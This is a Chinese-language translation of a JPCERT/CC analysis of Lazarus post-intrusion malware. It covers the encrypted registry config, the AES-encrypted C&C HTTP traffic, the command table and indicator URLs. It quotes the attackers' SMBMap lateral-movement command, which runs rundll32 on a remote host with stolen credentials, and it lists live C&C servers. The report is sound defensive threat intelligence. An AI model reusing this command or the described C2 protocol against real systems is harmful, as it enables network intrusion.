JPCERT / CC(日本互联网应急响应中心)发现了拉撒路(也称为“隐藏的眼镜蛇”)针对日本的攻击活动。其在入侵期间和入侵之后会使用不同类型的恶意软件,本文介绍了入侵后使用的一种恶意软件。
该恶意软件下载并执行恶意模块,并以.drv文件的形式保存在C:/Windows/System32/文件夹中,伪装成系统服务。该模块使用YMProtect软件进行混淆保护。文件末尾还填充了一些冗余的数据,这使得文件增加到150MB左右。图1显示了恶意模块下载和执行的流程。
图1:恶意软件行为
下面将分章节详细介绍该恶意软件的配置,通信格式以及模块。
恶意软件的配置(大小为0x6DE)被加密存储在注册表项中,并在执行时加载。在此次分析中确认配置存储在下面目录中:
Key: HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceseventlogApplication
Value: Emulate
图2是解码配置一个示例。它包含一个加密密钥以及C&C服务器信息。(详见附录A)
图2:配置示例
该恶意软件中的所有字符串均使用AES128加密,加密密钥被硬编码在恶意软件中,图3是加密密钥的示例。由于恶意软件要将16个字母的字符串转换为长字符串(32个字节),因此仅将前16个字节用作密钥。
图3:AES加密密钥示例
Windows API名称也是经过AES加密的。解密API字符串后,再由LoadLibrary和GetProcAddress 获取将要被调用的API地址。
图4:Windows API 加密混淆
以下是恶意软件首先发送的HTTP POST请求的示例。
POST /[Path] HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Cookie: token=[a 4-digit random value][a 4-digit authentication key][times of communication]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Length: [Size]
Host:[Server]
[param]=[Base64 data]
POST数据的参数([param])是从以下随机选择的。
tname;blogdata;content;thesis;method;bbs;level;maincode;tab;idx;tb;isbn;entry;doc;category;articles;portal;notice;product;themes;manual;parent;slide;vacon;tag;tistory;property;course;plugin
POST数据中的值是下面数据的Base64编码的字符串。
[default AES Key]@[Unique ID]
如果从C&C服务器返回的响应与Cookie(Base64编码)中的“4-digit authentication key”的值相同,则该恶意软件将发送以下信息。
在第二次通信后,恶意软件发送以下HTTP POST请求。
POST /[Path] HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Length: [Size]
Host: [Server]
Cookie: token=[numeric value]; JSESSIONID=[Session ID]
[param]=[Data1 (Base64 + AES)][Data2 (Base64 + AES)]
POST数据的参数是从上面列表中随机选择的。POST数据包含两条信息。“Data1”表示命令,而“Data2”表示命令执行的结果和其他的附加数据。(详情请参阅附录B中表B-1和B-2。)
其响应的数据格式与请求的相同,只是没有参数。响应数据与POST数据一样先用AES加密,然后用base64编码,区别在于“+”符号用空格代替。
图5是从与C&C服务器通信开始到下载模块的通信流程。在第二次通信中,恶意软件发送一个新的AES密钥,该密钥对随后的通信进行加密。
图5:恶意软件通信流程
在第三次通信中下载了一个模块。下面是下载模块时来自C&C服务器的响应示例。
HTTP/1.1 200 OK
Date: Tue, 25 Jun 2020 21:30:42 GMT
Server: Apache/2.4.26 (Unix) OpenSSL/1.0.1
Content-Encoding: ISO-8859-1
Content-Type: text/html;charset=ISO-8859-1
Access-Control-Allow-Origin: *
Keep-Alive: timeout=5, max=98
Connection: Keep-Alive
Transfer-Encoding: chunked
1ff8
85RR0p8Pq3VfTrSugxgO2Q==Bjpj4qAKXKypb9JFS8IVYleb2P8vp9axDdXCBd…
模块下载成功后,将执行从C&C服务器接收的命令。(恶意软件提供了C&C服务器和加密密钥等信息作为参数。)下载的模块是经过UPX加壳的,如图6所示。
图6:下载的已解码模块
通信执行与之前提到的格式几乎相同。可以确认该模块具有以下功能:(详见附录C)
-
对文件的操作(创建列表、删除、复制、修改创建时间)
-
对进程的操作(创建列表、执行、关闭)
-
上传/下载文件
-
创建和上传一个任意目录的ZIP文件
-
执行任意shell命令
-
获取磁盘信息
-
修改系统时间
为了横向移动,攻击者使用了SMBMap [1]这个Python工具,通过Pyinstaller将其转换为Windows 可执行程序,该工具允许通过SMB访问远程主机。攻击者通过利用他们事先获得的账户信息进行内网横向移动。
[File_Name].exe -u USERID -p PASSWORD=
-H [IP_Address] -x "c:windowssystem32rundll32.exe C:ProgramDataiconcache.db,CryptGun [AES Key]"
拉撒路已经在很多国家开展了攻击活动,相关活动也被很多机构报道过。日本cert会对该组织进行跟踪分析。
附录D中列出了本文中提到的示例中的C&C服务器信息。请确保没有任何设备与这些主机进行通信。
[1] GitHub: SMBMap
https://github.com/ShawnDEvans/smbmap
附录A:配置
表A:配置列表
Offset |
Length |
Contents |
0x000 | C&C服务器的数量 | 5 |
0x004 |
C&C服务器1 | |
0x104 | C&C服务器2 | |
0x204 | C&C服务器3 | |
0x304 | C&C服务器4 | |
0x404 | C&C服务器5 | |
0x504 | 未分配 |
包含“ cmd.exe” |
0x604 | 操作时间 | |
0x616 |
睡眠时间 |
|
0x626 |
版本信息 |
包含“x64_1.0” |
0x676 | 唯一ID标志 | |
0x67A | ID |
根据计算机名称创建唯一值 |
0x6B6 |
AES密钥 |
附录B:交换数据的内容
表B-1:Data1格式(已解密)
Offset | 长度 |
内容 |
0x00 | 4 | Data1 大小 |
0x04 | 2 | 随机数 |
0x06 | 2 | 命令 |
0x08 | 4 | Data2 大小 |
0x0C | 2 | 随机数或附加命令 |
表B-2:Data2格式(已解密)
Offset |
长度 |
内容 |
0x00 |
4 |
Data2 大小 |
0x04 |
- |
数据(内容取决于命令) |
附录C:命令
表C:命令列表
值 |
内容 |
0xABCF |
获取当前目录 |
0xABD5 |
获取文件列表 |
0xABD7 |
获取进程列表 |
0xABD9 |
终止进程 |
0xABDB |
执行进程 |
0xABDD |
执行进程 (CreateProcessAsUser) |
0xABE1 |
下载文件 |
0xABE3 |
上传文件 |
0xABE9 |
上传文件(创建ZIP) |
0xABEB |
修改文件创建时间(timestomp) |
0xABED |
修改本地时间 |
0xABF5 |
删除文件(sdelete) |
0xABF7 |
执行shell命令 |
0xABF9 |
检查连接 |
0xAC03 |
- |
0xAC05 |
- |
0xAC07 |
修改服务器C&C |
0xAC0D |
获取磁盘/文件信息 |
0xAC15 |
改变当前目录 |
0xAC17 |
- |
0xAC19 |
获取加载进程信息 |
0xAC27 |
复制文件 |
附录D: C&C服务器
-
https://gestao.simtelecomrs.com.br/sac/digital/client.jsp
-
https://sac.onecenter.com.br/sac/masks/wfr_masks.jsp
-
https://mk.bital.com.br/sac/Formule/Manager.jsp
- End -
本文为CNTIC编译,不代表本公众号观点,转载请保留出处与链接。
联系信息进入公众号后点击“论坛信息”可见。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论